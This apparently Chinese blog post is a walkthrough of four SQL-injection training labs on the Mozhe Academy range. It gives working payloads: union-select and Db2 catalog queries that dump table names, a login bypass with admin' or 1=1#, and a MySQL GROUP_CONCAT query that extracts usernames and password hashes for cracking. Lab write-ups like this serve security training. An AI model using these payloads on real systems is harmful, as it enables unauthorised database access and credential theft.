首页 > 数据库 >墨者学院(4个sql靶场攻略)

墨者学院(4个sql靶场攻略)

时间:2024-07-23 19:26:50浏览次数:9  
标签:攻略 页面 union sql 测试 SQL 注入 select 墨者

1.SQL注入漏洞测试(POST)

通过绕过方式进入管理后台。

        1.1用burpsuite工具抓包 在name=1后面输入 union select 1,2,3-- - 这样就成功的进入到了用户的管理登陆后台 

        1.2然后得到当前靶场的key值

2.SQL手工注入漏洞测试(Db2数据库)

解题方向:

        手工进行SQL注入测试,获取管理密码登录

2.1: 用order by 测试字段 发现可以 测试到字段为4

        2.2接下来 我们用联合查询  测试字段为4 那我们就这样写 union select 1,2,3,4--+ 发现失败    这是因为不同的数据库语法问题

        2.3 用这条命令 就可以了

        

 union select 1,2,3,4 from sysibm.systables 

        2.4 然后用语法 爆出他的数据库名

         ​​​

-1 union select 1,2,current schema,4 from sysibm.sysdummy1


SYSIBM.SYSDUMMY1表是一个内存的特殊表(按照Oracle的术语,习惯称之为“伪表”),常用于访问DB2中的寄存器,从而返回特定需要内容,类同于临时表

        2.5 然后爆他的表名

-1 union select 1,2,tabname,4 from syscat.tables where tabschema='DB2INST1' limit 0,1

        2.6 然后爆出他的字段值

        得到下图 就是 db2数据库的登陆账号和密码了

 union select 1,name,password,4 from GAME_CHARACTER limit 1,1

        注意 密码是加密的 md5解密就可以了

3.SQL注入漏洞测试(登录绕过)

打开他的登陆界面  输入 admin' or 1=1#

就可以得到他的可以值了

4.SQL手工注入漏洞测试(MySQL数据库)

测试寻找注入口:

1.进入靶场 我们需要进入“维护通知的地址”进行说起来的注入

2. 直接进在地址栏进行SQL语句的测试

        在地址栏加上语句“and 1=1”,页面正常显示

 然后尝试加入语句“and 1=2”,页面显示出错,没有内容 说明地址栏是一个sql注入口

3.发现注入口 就可以用sql语句 注入了:

        用order by查询,从数值从1开始递增测试,当“oeder by 5时页面出错证明表的列数不大于5

4. 然后 使用联合查询 找出查询结果在页面上的回显位置:

在地址栏后加上?id=-1union select 1,2,3,4--+返回结果,在页面也可以看到2,3位置查询的结果可以在页面显示,因此我们可以在2,3的位置注入语句,对数据库的数据进行查询

5.查当前库名(爆库名)

6.然后用这条命令查询他的数据 就可以得到 登陆账号跟密码了

UNION ALL SELECT 1,2,GROUP_CONCAT(id,'-->',name,'-->',password),4 FROM StormGroup_member

账号mozhe 密码是后面的 注意 密码用md解码即可

7 然后登陆到管理界面就可以得到他的key值了

        

标签:攻略,页面,union,sql,测试,SQL,注入,select,墨者
From: https://blog.csdn.net/2201_75891821/article/details/140616289

相关文章

  • MySQL数据库-基础篇
    一、MySQL概述cmd中输入services.msc可进入到系统服务中启动服务netstartmysql80停止服务netstopmysql80客户端连接mysql[-h127.0.0.1][-p3306]-uroot-ppassword[]中内容可省略,默认连接本机3306端口,前提是配置了环境变量,cmd中即可连接数据模型......
  • SQL2019收缩LDF的日志文件
    解决日志文件满造成SQL数据库无法写入文件问题1、打开MicrosoftSQLServerManagementStudio管理工具,右键你要压缩的数据库->任务->收缩->文件2、在“文件类型”选择“日志”,在“收缩操作”选择“在释放未使用的空间前重新组织页”,这里会给出一个允许收缩到的最小M数......
  • Oracle 和 MySQL 介绍及适用场景
    Oracle和MySQL介绍及适用场景Oracle介绍OracleDatabase是甲骨文公司开发的一款关系数据库管理系统。Oracle数据库是目前市场上最流行的数据库之一,广泛应用于大型企业和复杂业务系统中。Oracle提供了全面的数据管理和分析功能,支持事务处理、大规模数据库管理、高并......
  • 【java计算机毕设】在线教学平台MySQL springboot vue HTML maven小组设计项目源代码+
    目录1项目功能2项目介绍3项目地址1项目功能【java计算机毕设】在线教学平台MySQLspringbootvueHTMLmaven小组设计项目源代码+文档寒暑假作业 2项目介绍系统功能:在线教学平台包括管理员、用户、教师三种角色。管理员功能包括个人中心模块用于修改个人信息......
  • sql基础语句学习笔记
    目录DDL(DataDefinitionLanguage)数据库模式定义语言DML(DataManipulationLanguage)数据操纵语言给指定字段添加数据查询数据修改数据删除数据DQL(DataQueryLanguage)数据查询语言基本查询(不带任何条件)条件查询(WHERE)聚合函数(count、max、min、avg、sum)分组查询(group......
  • SpringBoot升级到3.3.2版本,JDK升级到17,引入Mybatis-plus后启动报错:Property 'sqlSessi
    【问题描述】2024-07-23T15:16:07.174+08:00WARN2604---[questionnaire][main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependen......
  • [转]从SQLite到Redis:探索C++与多种数据库的交互之道
    转自:【C++风云录】从SQLite到Redis:探索C++与多种数据库的交互之道开启数据库之旅:通过C++与各种数据库交互,事半功倍1.SQLite1.1简介SQLite是一个嵌入式关系型数据库管理系统,提供了一个轻量级的C++接口。它是一个开源的软件库,无需配置服务器或安装管理工具,可以直接在程序中使......
  • Window系统下MySQL安装教程
    1、MySQL各版本介绍MySQLCommunityEdition        MySQLCommunityEdition是MySQL官方发布的免费版本,适用于个人用户和小型团队使用。它包含了基本的数据库功能,如创建表、插入数据、查询数据等。MySQLEnterpriseEdition        MySQLEnterpriseEd......
  • [Mysql]分库分表
    分库分表读写分离主要应对的是数据库读并发,没有解决数据库存储问题。试想一下:如果MySQL一张表的数据量过大怎么办?换言之,我们该如何解决MySQL的存储压力呢?答案之一就是分库分表。什么是分库?分库就是将数据库中的数据分散到不同的数据库上,可以垂直分库,也可以水平分库。......
  • 【力扣】SQL题库练习2
    连接577.员工奖金表:Employee+-------------+---------+|ColumnName|Type|+-------------+---------+|empId|int||name|varchar||supervisor|int||salary|int|+-------------+---------+empId是该表中具......